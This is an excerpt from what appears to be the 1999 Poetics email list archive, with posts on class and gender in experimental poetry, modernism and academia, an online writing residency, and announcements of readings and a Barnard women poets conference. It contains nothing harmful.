My two-part article on these poets is also online now -- click the "back issues" button and go to the reviews sections of issues 4 and 5.

Robert Archambeau
Lunds Universitet, Sweden

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235. John Cayley
email address request - 2
Fri 19 Mar 1999

Sorry about this, but here's another email address request:

Can anyone send me - back channel *current* email addresses for:

Walter Kew?

Thanks in anticipation,
John

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236. Poetics List Administration
Michael Basinski performance
Fri 19 Mar 1999

Mark Peters asked me to forward this. To anyone coming through the Buffalo area next week, I highly recommend it. Chris

---

From: "Mark Peters" <[redacted]>
Date: 3/18/99, 1:24 PM +0000

Announcing:

Poetry and Sound Poetry Performance

Michael Basinski (and friends)

Tuesday Night March 23rd at 7:30
at Hallwalls 2495 Main Street, Buffalo NY

If you aren't familiar with Basinski's incredible work, some of it is on the web at his EPC author page:

(http://writing.upenn.edu/epc/authors/basinski)

There are also some great pieces at the Light and Dust site (which you can get to through the books section of the EPC) and at my magazine, Deluxe Rubber Chicken, also available through the EPC.

Anyone who saw Basinski's performance a few semesters ago, or any of his readings for that matter, knows this reading should not be missed. Don't say I didn't warn you!

This reading is part of the Deluxe Rubber Reading Series

Mark Peters

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237. Poetics List Administration
gender & class / Tremblay-McGaw
Fri 19 Mar 1999

---

this message came to the admin account instead of the listserv. Chris

---

From: "R. Tremblay-McGaw" <[redacted]>
Date: 3/18/99, 12:33 PM -0800

Hello All,

Just a brief collection of notes in response to list comments on class and gender issues.

I weigh in with Elizabeth Treadwell, agreeing that for me, gender concerns aren't really separate from my poetics. And gender issues also so tied up with issues of race and class and sexuality. nearly inextricable. and that brings me to the class issue. I have struggled with how to incorporate class issues in my own work in a formally interesting way without coming off as banal, this particularly difficult in poetry. I think both Dodie and Kathy Lou Schultz manage to address class in a challenging and interesting variety of ways in their work, Dodie in the Mina Letters and Kathy Lou in her Genealogy piece (part of which, I believe, is in Idiom online).

Kathy Lou and I have been at work on a collaborative piece that deals with issue of gender and language and in its own way, class. or maybe in addition what I mean to say is that there are certain class issues on which the creation of the work is predicated. the notion of stolen time--much of the work written while we're at our jobs, in between the cracks.

a little notation about reading the fabulous Figuring the Word by Johanna Drucker. Struck by her discussion of how certain of her books came into being, articulating events from her "personal" life and how they shaped/informed her experiments with language/text/the book. I was also struck by the sheer amount of time required to set the type for some of these works and the apparent time available to her for investigation and experiment. Time and its relation to class. to production/enquiry/visibility.

Hard not to feel a sense of rage, envy, lust and so on.

My job calls so that's all for now.

oh--and next issue of tripwire is on gender issues. looking forward to that.
Robin Tremblay-McGaw

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238. Poetics List Administration
orality and the avant-garde? / Kane
Fri 19 Mar 1999

This msg came to the admin account instead of the listserv. Questions on the difference between these addresses can be sent to me here at <[redacted]>. Chris

---

From: "Daniel Kane" <[redacted]>
Date: 3/18/99, 5:50 PM -0500

In Charles Bernstein's _Close Listening_, Johanna Drucker has noted in her essay "Visual Performance of the Poetic Text":

"the aesthetic arenas in which visual experimentation takes on a developed form in the first half of the century include Italian Futurism, Russian Futurism, German and Swiss Dada, English Vorticism, Dutch De Stijl, Anglo-American modernism, and, to a lesser degree, French modern poetry and visual arts associated with Cubism and then Surrealism. In other words, there was a visual component to almost every area of modern poetry" (132).

Clearly, these movements in many cases played with or eliminated what most people would call conventional typography. What I'm interested in (since I'm at work on a project tracing the history of Lower East Side poetics and poetry reading series) is whether there is a link between typographical experimentalism and orality/real time performativity. That is, can one say that the movements Ms. Drucker lists were also partially characterized by their often rambunctious presentation of their works in performance? Does typographical experimentalism especially invite utterance, performance in some way? If anyone could provide me with an example or two (or a book that might say it all) of these movement's propensity for performance (especially as that performance relates to the way the text is built), I'd greatly appreciate it. You can backchannel me at

[redacted]

--daniel

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239. Mark Prejsnar
gender class poetics poetry
Fri 19 Mar 1999

One way of looking at the political dimension, is to realize that socialist concerns, feminist concerns, historical edges, may sometimes become part of the work because they are integrated into the poet's mind and activities, and ongoing personal focus..... For instance Susan Howe seems to have developed a response to these dimensions, purely out of the intricate dance of her mind around themes of historical violence and tension that jabbed at her personally. The poetics underlying her work is very complex--i don't mean to suggest otherwise. But some of the most interesting political poets have responded to the social/political level, by simply letting their own interests, concerns, despairs, play thru the fabric of the writing they are doing. Some poets grow this sense of connectedness out of being activists. Some like Howe out of a fierce and personal immersion in historical data. (i myself have never felt a tension between an interesting formal approach and an awareness of class,

gender and other weights... They seem naturally related....) Even some of the post-1970 generation who are thought of as theoretical language-oriented writers eventually come to a flow where the formal impetus and the political passion feel to be of a single push. (i'm thinking for instance of two Perelman books, favorites of mine: Face Value and First World.) This is a not to say that there aren't poetics theories that address important concerns here (the shape and movement of form against social contradiction as thought out by Brecht, Silliman, Bernstein, McCaffery, have been important to me) But poetix ideas threaten in the current climate to take on a weight that i find a little disquieting. To some extent politics in the world precedes politics in the word-processor. The activist sensibility of the political person is a substratum for the politix of the working poet.

mark prejsnar

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240. **raea100900**
Re: Class & poetics
Fri 19 Mar 1999

I think my girlhood memoir, TRUE (Atelos Books), can be read as being about class
- by the way.

Rae Armantrout

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241. **MAXINE CHERNOFF**
Re: Class & poetics
Fri 19 Mar 1999

Two issues on social class: May/June 1985: "The Reader's Egotism" in AMERICAN BOOK REVIEW and in Po Prject Newsletter #140, Feb/March 1991, "Social Class and the Writer's Identity," Paul Hoover argues that the reader seeks reassurance in texts of the rightness of his/her views and social position.

On Thu, 18 Mar 1999, Kathy Lou Schultz wrote:

> *I've gotten several backchannel requests for copies of my essay on class & poetics entitled "Talking Trash, Talking Class: What's a Working Class Poetic, and Where Would I Find One?" I sincerely appreicate the interest in this topic. The essay appeared in Tripwire: A Journal of Poetics No. 1, which is edited by Yedda Morrison and David Buuck. If you are able, it would be great to support the editors of this wonderful journal. The magazine is available from Small Press Distribution in Berkeley, Calif. (www.spdbooks.org) and has a cover price of $6. If you are having trouble*

> *getting the magazine, let me know and I can send you a copy of the essay.*
> *Thank you,*
> *Kathy Lou Schultz*
> [redacted]

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242. **james perez**
Re: Let's do the Modernism!
Fri 19 Mar 1999

JT said:
>>There's one blindingly significant point about Modernism Then and Now that I bet doesn't get talked about at this Conference, to wit:
>>Of all the thirty or so people who created Modernism (in poetry and prose), not a single one of them ever taught at an American university. They never did it, ever.
>>Of all the thirty or so people discussing Modernism at Penn State, every single one of them makes a living teaching at an American university. They do nothing else, all the time.

getting poetics in digest form, it was very interesting that this message came after KLS's post on class issues and so I'm thinking of both at once...

one thing that's always been interesting to me about reading Stein (esp. How To Write...) is that I can feel that she never worked retail in her life or waited tables or whatever (don't know this for a fact, not a stein scholar), and what did Eliot ever do? Artists that teach v. class of artists of yore I think is a very interesting topic to dig into. What does it mean to be a trust fund/landed nobility artist v. a college-educated "bohemian" v. an out-and-out homeless artist (stein v. stevens/williams; byron v. keats; marlowe v. shakespeare; whitman v. dickenson; sorry I know this is neither litigation nor boxing, though I think the stein/w.c.williams bout would be a good one)?

the question nobody seems to ever want to answer about there art: what is it for?: it's going to pay for my kids' college, it's going to get me out of the projects, it's going to save humanity/create a better world, I don't know I was bored and passing time, I'm going to prove I'm smarter/better/more educated/cooler than my dad/my brother/my mom/him/her/you

I think some of these are luxuries that we all can't afford, others can...but all seem to have an intrinsic effect on our resulting poetics. I don't really know where I'm going with this, but I think it is important to what we think of our fellow poets/artists and what prejudices we may form against those that do "sell out" or put there poetry on billboards/subways or read at inaugural events.

I'll go back to lurking now,

jamie.p
Get Your Private, Free Email at http://www.hotmail.com

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243. Charles Bernstein
Barnard Conference Schedule (fwd)
Fri 19 Mar 1999

Women Poets at Barnard presents
Where Lyric Tradition Meets Language Poetry:
Innovation in Contemporary American Poetry by Women

April 8 10, 1999

The Poetry Conference, “Where Lyric Tradition Meets Language Poetry: Innovation in Contemporary American Poetry by Women”, is sponsored in part by The Barnard Women Poets Series, which for thirteen years has hosted free, public readings at Barnard by established and emerging women poets. Through these poets’ varied voices and styles, we have hoped to broaden and challenge our audiences’ visions of poetry’s range and effects. In addition to our readings, the series publishes a first collection from a new woman poet each year. Booklist described Women Poets at Barnard as “The best series currently introducing new writers to the public.”

This event is co-sponsored by The Academy of American Poets, The Poetry Society of America, and Poets & Writers Inc. and is funded in part by The Axe-Houghton Foundation and The Lannan Foundation.

THURSDAY, APRIL 8
CONFERENCE KICK-OFF EVENT
EVENING READING: 8:00 PM 10:00 PM

Barbara Guest
Jorie Graham
Introduced by Susan Wheeler

RECEPTION TO FOLLOW

FRIDAY, APRIL 9
REGISTRATION, MORNING COFFEE & BOOK SALES: 8:30 AM 9:00 AM

PANEL I: 9:00 AM 10:00 AM
Session 1 On Jorie Graham
1. Brian Henry, “The Will to Change: Style and Stylistic Achievement in Graham’s Poetry”

2. Jennifer Lewin, “Graham’s Philosophy of Language”
3. Andrew Osborn, “The Push of Reading in Graham’s ‘On Difficulty’”

Session 2 On Barbara Guest
1. Terrence Diggory, “Barbara Guest and the Mother of Beauty”
2. Anna Rabinowitz, “Notes Toward Painterly Osmosis”
3. Marjorie Welish, “On Barbara Guest”

Session 3 Opening a Community: Women Writers at the Poetry Project 1. Brenda Coultas, “Feminist Voices from the Project 1966-76” 2. Marcella Durand, “Publishing the Community: Women’s Publications” 3. Kimberly Lyons, “A Retrospective of Experimental Women’s Writing” 4. Prageeta Sharma, “Notions of Ethnicity: Creating a Poetic Community” 5. Eleni Sikelianos, “Memory & Ascent: Mayer, Notley and Waldman”

PANEL II: 10:15 AM 11:15 AM
Session 4 On Lucie Brock-Broido’s The Master Letters
1. Stephen Burt, “The Selves of The Master Letters”
2. Eric LeMay, “The Master Letters and The Master Letters”
3. Stephen Massimilia, “On the Language of Catastrophe and Transfiguration”

Session 5 On Language Theory
1. Calvin Bedient, “Leslie Scalapino’s Aesthetic Theory”
2. Bob Perelman, “Rae Armantrout, the Objectivists and Imagism”
3. Joshua Weiner, “McHugh: Another Kind of ‘Language’ Writing”

Session 6 On Brenda Hillman’s Loose Sugar
1. Susan McCabe, “Alchemies of Synthesis”
2. Lisa Sewell, “Memory, Development and Women’s Time”

Panel III: 11:30 PM 12:30 PM

Session 7 On Alice Notley
1. Kimberly Lamm, “Flexibly Authentic Identities in Notley’s Love Poetry”
2. Heather Thomas, “Notley’s Epic ‘Beginning Again’”

Session 8 On Quilts, Postscripts and Jokes
1. Logan Esdale, “Postscripted Poetry”
2. Jennifer Luongo, “Quilting the Multiplicity of Voice: Mullen’s Muse and Drudge”
3. Susan Wheeler, “Gravity No Stretch For The Zip Wit of Rae”

Session 9 On “Poetics of Production” 1. Caroline Crumpacker, “Female Publishers in the 1920s and 1930s” 2. Rebecca Wolff, “Female Publishers in the

1920s and 1030s” 3. Linda Russo, “Production Between Populist Feminist Poetics & the Avant-Garde”

LUNCH: 12:30 PM 2:45 PM

ROUNDTABLE DISCUSSION:
3:00 PM 5:00 PM

Rae Armantrout, Lucie Brock-Broido, Jorie Graham, Barbara Guest, Lyn Hejinian, Brenda Hillman, Ann Lauterbach, Harryette Mullen

BREAK: 5:00 PM 8:00 PM

EVENING READING: 8:00 PM 10:00 PM

Lucie Brock-Broido
Brenda Hillman
Ann Lauterbach
Introduced by Lee Ann Brown

RECEPTION TO FOLLOW

SATURDAY, APRIL 10
REGISTRATION, MORNING COFFEE AND BOOK SALES: 8:30 AM 9:00 AM

PANEL I: 9:00 AM 10:30 AM

Session 1 On Harryette Mullen 1. Kathy Crown, “Feminist Epistemology and the Poetry of Mullen” 2. Allison Cummings, “Public Subjects: Ideas of Audience in the Poetry of Brooks, Hunt, and Mullen” 3. Elizabeth Frost, “Mullen and Traditions of the Avant-Garde” 4. Cynthia Hogue, “Mullen and the Poetics of Black Female Experience”

Session 2 Epistolarity and Experimentation: The Letter as Fact and Fiction in Innovative Writing By Women
1. Lee Ann Brown, “Alphabet Bernadette”
2. Stephen Cope, “Mayer’s The Desires of Mothers to Please Others in Letters”
3. Kate Fagan, “Hejinian and Robinson’s Letter-Poems”
4. Chris Stroffolino, “The Mayer/Riding Jackson Correspondence”

Session 3 On Susan Howe 1. Elisabeth Joyce, “Howe’s Orienteering Guide to the Adirondacks” 2. Jeffrey Jullich, “A Vertical Reading of Howe’s Invisible Angel” 3. Jean Schulte, “Howe’s ‘A Bibliography of the King’s Book, or Eikon Basilike’ and ‘Poe(t)heory’” 4. Lara Trubowitz, “Antinomian Controversies as a Principle of Poetry”

PANEL II: 10:45AM -11:45 AM

Session 4 Forms of Affect and Memory in the Poetry of Hejinian and Berssenbrugge, or, What Language Remembers of Itself
1. Charles Altieri, “Intimacy and Experiment in Berssenbrugge”
2. Craig Dworkin, “Paranoia as Literary Methodology”
3. Linda Voris, “The Shape of Memory in Berssenbrugge’s Poetry”

Session 5 On Publishing Anthologies
1. Anne Finch, “On Editing A Formal Feeling Comes”
2. Alan Golding, “Poems for the Millenium and Rothenberg as Editor”
3. Mary Margaret Sloan, “Poetics and Publication History of Selected North American Women Writers Since 1970”

Session 6 On Barbara Guest
1. Catherine Kasper, “Determinable Music: Guest’s Poetry”
2. Sara Lundquist, “Guest’s Stripped Tales: Narrative and the Experimental Poet”
3. Robert Mueller, “Poetics and Language in the Work of Guest”

PANEL III: 12:00 PM 1:00 PM

Session 7 Textualities of Race and Gender
1. Cara Cilano, “Gender, Race, Time, and Space in M. Nourbese Philip’s Looking for Livingstone: An Odyssey in Silence”
2. Linda A. Kinnahan, “Economies of Race and Gender in the Visual / Verbal Collaborative Clash of Hunt’s Arcade”
3. Elizabeth Rich, “Searching the Black Hills for Lost Histories in Weiner’s Spoke”

Session 8 Multivocal Poetics
1. Mary Jo Bang, “The New Elliptical”
2. Camille Martin, “Kristeva and Weiner: A Poetics of the Multivocal Semiotic”
3. Ira Sadoff, “Blurring the Boundaries Between Experimental and Representational Poetries”

LUNCH: 1:00 PM 2:30 PM
Conversation with
Charles Bernstein and Lyn Hejinian

KEYNOTE ADDRESS, ROUNDTABLE & RESPONSE: 2:45 PM 5:00 PM

Marjorie Perloff, “After Language Poetry: Theory and the Question of Transparency”

Calvin Bedient
Rachel Blau DuPlessis
Lynn Keller

RECEPTION: 5:30 PM - 7:00 PM

EVENING READING: 7:00 PM - 9:00 PM

Rae Armantrout
Lyn Hejinian
Harryette Mullen
Introduced by Jena Osman

(Program is subject to change.)

WITH APPRECIATION The organizers of the conference, Allison Cummings and Claudia Rankine would like to thank the following organizations for their invaluable support:

The Academy of American Poets
The Axe-Houghton Foundation
The Lannan Foundation
The Poetry Society of America
Poets & Writers Inc.

Registration Form

Please print or type

This form may be duplicated for additional enrollments. Mail to the following address on or before March 30, 1999:

Tiffany Dugan, Poetry Conference Coordinator
Barnard College, 3009 Broadway
New York, NY 10027-6598

Forms may also be faxed to [redacted].

_____
Name

_____
Address

_____
City/State/Zip

_____
Telephone (with area code)

_____
E-Mail

_____
Institutional Affiliation (if applicable)

Please circle the sessions you plan to attend:

April 9
Panel I Session 1 or Session 2 or Session 3
Panel II Session 4 or Session 5 or Session 6
Panel III Session 7 or Session 8 or Session 9

April 10
Panel I Session 1 or Session 2 or Session 3
Panel II Session 4 or Session 5 or Session 6
Panel III Session 7 or Session 8

Conference Fees:

April 9
___ Pre-registration $20
___ Student with ID $12
___ Barnard Faculty & Staff $12
___ Lunch $15

April 10
___ Pre-registration $20
___ Student with ID $12
___ Barnard Faculty & Staff $12
___ Lunch $15

Enclosed is a check for $_____ made payable to Barnard College.

Walk-in Registration is $25 for each day of the conference. Lunch is by pre-registration only.

Please send information regarding:

___ Travel ___ Hotels ___ Parking

General Information

Registration: Enrollment for the conference is limited and will be conducted on a first-come, first-served basis. Registration forms should be mailed to be received by March 30, 1999.

Walk-in Registration will take place on Friday, April 9 and Saturday, April 10, in the Barnard Hall Lobby, located at Broadway and 117th Street. Your cancelled check will serve as your receipt and registration acknowledgement. No confirmation of your registration will be sent.

Lunch will be provided for conference participants at an additional charge of $15 for Friday or Saturday, $30 for both days. Please indicate on the registration form if you wish to order lunch. A list of local restaurants will be provided in your registration packet. Lunch is by pre-registration only.

Fee: The fee for the two day conference is $40, ($20 per day). Walk-in Registration is $50, ($25 for each day). There is a special two day rate of $24 for students with ID, Barnard Faculty and Staff ($12 for each day). The fee includes refreshments, but does not include lunch.

Cancellations: For individuals who pre-register, cancellations will be accepted until April 5. The balance will be refunded, less a $5 processing fee. Individuals wishing to cancel after April 5 will forfeit the entire conference fee.

Questions: If you have any questions regarding registration, hotel accommodations, or any special needs you wish to discuss, please contact Tiffany Dugan at [redacted] or E-mail [redacted]. Although there is no parking available at the College, information on parking in the vicinity is available upon request. Barnard College is wheelchair accessible.

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244. schuchat
Re: Let's do the Modernism!
Fri 19 Mar 1999

John Tranter and others -- did Ford Madox Ford have any role in creating Modernism? I mean, is he one of the "30" cited? Since he did, after all, teach at an American university (well, college -- Olivet College was the name of the place, as I recall).

Stein's series of lectures at Chicago and elsewhere in America were the functional equivalent of a year (okay, at least a semester) as a guest professor. Is she one of the 30 creators?

Is Pound one of the 30? Until they fired him for letting a dancer friend sleep over, he taught at an American institution of higher learning.

I hold no brief for academics, am not one myself, and hate to spoil a good sound bite, but wonder thus in the interests of accuracy.

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245. Elizabeth Treadwell
Page Daughters & the Microwaveable Feast
Fri 19 Mar 1999

Hi all,

I am laughing in response to John Tranter's note about the Modernists never having TAUGHT, and the Panelists only having taught, and somehow it seems hooked up with these conversations about Mothers and Daughters. Hey, Ally McBeal, fictional as she is, is a cultural worker, Linda! A cultural broker?

I think part of the problem is that I feel still quite young as a poet, perhaps I do not understand my poetics and influences and 'points' NOW as I will THEN. This is certain, no? But one problem with the definition of this, 'my', generation, X, NEXT, Diet Coke, whatever, is that we are in the long and often quite voluble, dreary, and bossy shadow of the BABY BOOM. (I am also influenced by my material (girl) conditions in this tyedied collegiate burg to feel so.) In this shadow, which also contains many a glimmer and salvation, especially for a girl, left there by your mother's awkward, glorious footsteps, it is often hard to find a mirror in which to see the light of one's own self. Especially when those who left said footprints and leaflets and napalm are shining a flashlight through the typeface of Time magazine into your eyes to see if you appreciate them & all they've done for you.

Kathy Lou points out that there are people of color and working class people among us (us = The Microwaveable Feast?), & so then there are also young bratty people just pulling their brass tacks together too. And if US can include an even longer and wider history, all the better. What about Grandma and Gramps and your freaky 2nd cousins?

Its mysterious in here, do you know who your influences are?

What was R Wolff's manifesto?

Don't trust anyone over/under 30/40
ET

"Yet no one can extinguish 'oneself' , in the sense of being weighted by traditions, to see the real, which is only the present."

-Leslie Scalapino, _Objects in the Terrifying Tense/Longing from Taking Place_, Roof, 1993

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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246. Poetry Project
this week's news
Fri 19 Mar 1999

The Tiny Press Center at http://www.poetryproject.com has been REORGANIZED with a convenient new "click and point" option that allows you to go directly to the place in which you are interested. Also new: Elizabeth Treadwell of Double Lucy Books/Outlet Magazine gives us her thoughts on publishing. And also also, there are lots of new entries on chapbooks,

broadsides, magazines. Thank you everybody for sending such great materials in!

Snaps/graphics/pictures are not far behind...

And this week:

Nick Tosches has cancelled for tonight, Friday, March 19, 10:30 pm (we know you got this once before, but nobody wants surprises, right?) to be replaced by Jonathan Berger and Debbie Branch.

Monday is

Hoa Nguyen & Dale Smith
(check out "Skanky Possum" in the Tiny Press Center!)
in from out there Austin, Texas
at 8 pm

Wednesday is

Jocelyn Saidenberg & Ann Lauterbach

at 8 pm

Jocelyn has a fantastic poem ("seance") in the Poets & Poems archives at the Poetry Project website.

Friday is

Inappropriate Behavior with Legs McNeil & Gillian McCain

at 10:30 pm

and then it's April

with readings by Philip Lamantia (a very rare thing), Anne Waldman, Victor Hernandez Cruz, Nicole Brossard rescheduled,

and a tree dedication/book party for Allen Ginsberg.

Not the cruelest month after all.

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247. John Tranter
Free Nathaniel Tarn reading in London UK on 19 April
Fri 19 Mar 1999

Poetry Reading: SCANDALS IN THE HOUSE OF BIRDS

A Reading and Talk by NATHANIEL TARN

April 19th, Monday, at 6.30pm at King's College London in the Council Room
Entrance is free. All are welcome.

SCANDALS IN THE HOUSE OF BIRDS is the title of Nathaniel Tarn's latest book, an extraordinary 'experimental' ethnography based on many years of work in Guatemala.

The first chapter of this book (and other material by Tarn) is featured in the latest issue of Jacket magazine, at this URL:

http://www.jacket.zip.com.au/jacket06/index06.html

Tarn will be reading from the book, discussing it and his recent work and also reading some of his recent poetry.

Contact - Shamoon Zamir, email to <[redacted]>
Department of English, King's College London, Strand, London WC2R 2LS, UK
Phone: (0)[redacted]
Fax: (0)[redacted]

I understand that you may not wish to receive these notices from Jacket magazine.
If so, please reply to this email to that effect, and
I'll take your name off the mailing list pronto. [J.T.]

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at
http://www.alm.aust.com/~tranterj/index.html

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248. David L. Erben
Pitts Lodging Query
Fri 19 Mar 1999

Might someone on the list have suggestions for reasonably priced lodgings in the Pitts downtown? I'm off to a conf in April and the conf hotel is outrageously priced. Please backchannel any suggestions.

Thank you
David Erben
[redacted]

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249. **A. Jenn Sondheim**
Re: Poets in Residence (fwd)
Fri 19 Mar 1999

(This was a brief interview by Peter Evans for a paper, on the trAce vir- tual writing residency coming up in September. It may be of interest here; I received permission to forward. Alan.)

On Wed, 17 Mar 1999, Peter L.Evans wrote:

> *The questions are:*
>
> *Why did you choose to do this residency on the internet?*

I do almost all my writing on the Net - I literally make my texts with the emacs or pico editors online. For me, working with avant-garde and philo- sophical/experimental issues, there is an audience; the kind of work I do is rarely published offline.

I also love the surprise of working online through conferencing and email - as well as the incredibly wide demographics and international contacts. And then it depends on what's meant by writing - I also do graphics, video, use perl programming online, and so forth. The environment is amazingly rich and active/activated.

And of course all of this brings cross-fertilizations, Deleuze/Guattari's 'rhizomatic' creativities on a world-wide scale.

> What are your aims and what do you see as the possible outcomes?
>
With the residency? Introducing experimental work, examining the possibility of community/communal writing, and running workshops which might involve post-structuralist/postmodernist thought.

Pushing writing from the older 'writing-degree-zero' to at least the binary, if not the transfinite, dimension.

> What advantages do you see to working on the internet?
>
Audience and performativitiy (programming, using MOOs and MUDs and talkers
etc.). Or do you mean working with students? You're unclear here. If the latter, then the ability to work one on one, looking at the text and not at the writer, suggesting other resources no farther away than a URL. Also, in relation to texts - the ability to close-read and intersperse comments. One disadvantage may be the time necessary to reply, simply because of the labor of typing.

> *Were you able to set your own 'agenda' for the residency?*

The agenda's not set yet, but I would say yes, although I would do this in conjunction with past residencies - it's useless if it doesn't work. I hope the agenda ultimately is somewhat dialectical, in other words.
>
> Do you see your work as being primarily education, or promotion of poetry,
> or as poetry mentor, or something else?

Again, I assume now you mean my residency? I look on my "work" as my artistic output. I'd say in relation to the residency, all three of the above, as well as learning myself, from others, thinking through the possibilities of language on the Internet, the future of language in general, new modalities of communition.

What happens when prosthetics are the order of the day, when there are no more masterpieces, when information overload requires information management, when it's no longer possibile to 'know oneself,' and so forth.
>
> Will there be objective evaluation of the work being done?

What is "objective evaluation" of work in general? I'm not sure what you mean. I certainly hope and expect the staff of trAce to take an interest in all of this and if I stray 'out of line,' to say something. And of course the work will be in the process of continuous evaluation - perhaps a kind of evaluation 'without standards.'
>
> How will you judge the success of the residency?
>
By a lot of things - whether or not other participants remain; the quality and quantity of their participation; the quality of the work developing; whether other participants feel they're benefiting.

> *How do you see your own writing developing?*

Always developing. I deal with the metaphysics and phenomenologies of languages, including programming languages, scripting, etc. In terms directly related to the residence, on one hand - probably very little effect - and on the other - probably a great deal in terms of what may emerge from community.

Yours, Alan

> *Thank you for your time.*
>
> *Best Regards*
>
> *Peter Evans*

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250. Burt Hatlen
Re: POETICS Digest - 16 Mar 1999 to 17 Mar 1999 (#1999-50)
Sat 20 Mar 1999

Re: Richard Carfagna's comment on Enslin. The New NPF Enslin _Selected Poems_ does not include excerpts from Enslin's long poems. Rather the book is devoted to extensive selections from his many collections of short poems. NPF is hoping to do new editions of Enslin's out-of-print long poems (_Forms_, _Synthesis_, and _Ranger_) and his unpublished long poem _Axes_.

Burt Hatlen

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251. Laura Moriarty
Re: of Mothers & Daughters
Sat 20 Mar 1999

Dodie, Kathy Lou, et al. -

About the class thing - I was responding to a point made by Marjorie Perloff that many early language writers were white men who had been to Ivy League colleges - true enough, but, I thought, too generalizing and disappearing of the backgrounds of such important figures as Ron Silliman, Erica Hunt and Rae Armantrout (just for starters) among the early language writers, not to mention the genders of other early ones. My own background (education, chances etc) happens to be working class and I find currently that I am among the writers (from various classes) who are spending a lot of their time making a living. I like the effect of class on people's writing, (and like to observe and imagine it in individuals) but what class are we anyway? Being an artist/poet/whatever with a working class background might mean these days that though you have an open invitation to lunch with the Baroness (or to read in this or that place etc) you can't afford the time or the air fare.

I don't think I said that I thought classes were breaking down - though god knows I may have - but that experimental or innovative writing were becoming somewhat meaningless terms, given the many kinds of work being published under those general rubricks -- and that that was a good thing.

In retrospect, I liked the way Marjorie's talk shook things up - though I regretted the attention it took from some of the other talks. I found it very interesting to be there in person - saying yes but what about this event or person or fact which seems to refute this generalization(?) Usually one reads these things in a book and just fumes away.

As currently my hands are almost numb from entering SPD's upcoming catalog - I should say (type), while I have the strength - that I am very grateful to Fanny and Rae for setting up such a unique, valuable and memorable conference. That several people came up to Leslie Scalapino (whose talk against literary lineage was great) to tell her that her talk had been "brilliant" - and also that several of the talks - Myung's, Carla's, Dodie's, Harryette's, and (agreeing with Joel here) Renee's and Pamela's (there are other names I know I am forgetting) - were interesting in a directly inspiring and enabling and challenging way. Not to mention one of the most incredible group readings of all time that happened on Sunday (thanks Stephen and Joe) -

Oh and I also don't think I quite said (Kevin) that computers were taking over but that we are interacting with our media technologies in a way that is changing us and our writing and that the way technology is changing does seem to have something like a life of its own with which we we interact in our own writing and thinking processes - as is occurring here.

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

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252. nora chai
cavalli query
Sat 20 Mar 1999

---

hello all -- i tried to post this message a few days ago and afaik it didn't go through, but on the off chance this is a repeat post please flame me duly.

could anyone point me to english translations of/work in english about the italian poet patrizia cavalli? so far i've only seen her work in anthologies, i.e. vintage contemporary world poetry, various italian compendia, etc. i believe there is/are collection(s) of her work in english, but i haven't been able to find them in the usual online catalogues. any info apppreciated. thanks a whole lot...

nora
Get Your Private, Free Email at http://www.hotmail.com

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253. **Charlie Morrow**
update on Banquet for Armand (fwd)
Sun 21 Mar 1999

Please list the enclosed announcement.
Thank you,

Charlie Morrow
studio [redacted]
fax [redacted]
Charles Morrow Associates, Inc.
2095 Broadway, Ste 504
New York, New York 10023 USA

---------- Forwarded message ----------

Fellow Celebrators of Armand!

The Peoples Poetry Gathering - and
organizers Poets House and Citylore - have added this
Banquet to the weekend events

Jeanine Klein (Armand's sister) and I, with input from
our collaborators, have been putting things together.
The Swedish cultural authorities have given Sten Hanson
a travel grant to come over and MC with me. Rumor has it
he will wear his tails and Royal Swedish honorary colors
conferred by the King of Sweden two years ago.
It is interesting to note that a former King of Sweden,
famous for his picture on a Swedish kronor bill,
is a ringer for Armand.

Charlie Morrow
www.cmorrow.com

Please come to the Banquet for Armand Schwerner
Sunday, April 11, 7 pm
Teachers & Writers,
5 Union Square West, NYC

Armand Schwerner was a poet musician
compared in his recent NY Times obit
with Ezra Pound. He is most famous
for a series of poems called The Tablets
in which he creates Mesopotamian
"found tablets" with missing and untranslatable

lines and the comments of the scholar translator.
The Lving Theater created a critical success
with a staged version of The Tablets.

We all are chipping in 18$/person for
food and wine. Ellen Zweig and Jeanine Klein
have created a meal of Armand's favorite food
from the Moustache Restaurant. Wines have
chosen accordingly.

There will be toasts and performances by
Adam Schwerner, Jeanine Klein,
Jerome Rothenberg, Spencer Holst, Sten Hanson,
The Living Theater, Charles Bernstein,
Jackson Mac Low and Anne Tardos, Mike Heller,
Ellen Zweig, Francis Alenikoff, Pierre Joris,
Nicole Peyrafitte, Charlie Morrow, Phill Niblock (film),
Bernard Heidseick (recorded on phone), Logos Duo
of Belgium with a work based on the address in
Antworp where Armand was born. And more.

We have seatings for 70.
Please prepay reservations by
April 10 through Citylore,
phone [redacted]. No tickets sold at event.

Presented as part of the Peoples Poetry Gathering
by Poets House and Citylore in association
with Teachers and Writers Collaborative,
Jeanne Klein and Charlie Morrow.

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254. **maz881**
Re: Page Mothers & Delinquent Daughters
Sun 21 Mar 1999

In a message dated 3/18/99 7:14:43 PM Hawaiian Standard Time, [redacted]
writes:

<< Nancy discussed Sianne Ngai's "Poetics of Disgust" (orig. pub'd in _Open Letter_) as making the sort of moves that Silliman (et al?) had demanded (in Philly Talks) but as being ignored as such, criticized on the basis of it's having been carelessly read. She proposed that a Poetics of Disgust works as a "cultural poetics," a relation of poetics to the social 'in the tradition of' Lang po, but structured with its own, although contingent, ideaology. >>

Linda, thanks for the long and thoughful post. can you clarify the clause "criticized on the basis of it's having been carelessly read"? also, what evidence do you or did Shaw feel supports the notion that people are ignoring Sianne's essay in the "group-manifesto" sense? it seems obvious to me at least that the essay, with an editorial thrust by jeff derksen, functions exactly in this way. now if you take the essay (which is part of a larger piece/project i know little about--might be a dissertation) out of open letter it would appear to me to to function a lot less in this traditional group forming negativity sense. and i suppose i would be more inclined to meet the essay in this context. i guess i see the group manifesto thing as played out. not that groups aren't happening or that groups aren't primary to "advancement" (i get by with a little help from my friends), but i believe once you start defining groups on paper with poems and essays then eventually those definitions, which appear fixed in print, will come back to haunt you. so that you get exclusion problems, who's in who's out problems, correct form problems, race gender and class problems, people who think they're in one group fighting against people who think they're in another group, etc. eg l-p looks to be led by white prose-poetry writing poem-essay blurring hetero males seeking out the academic sinecures of the mark strands of the world. i'm not saying that's the case or even that it's an intelligent way to read the l-p phenom. but it can be read that way. and we should keep in mind Dodie's good point about revisionism re Shange.

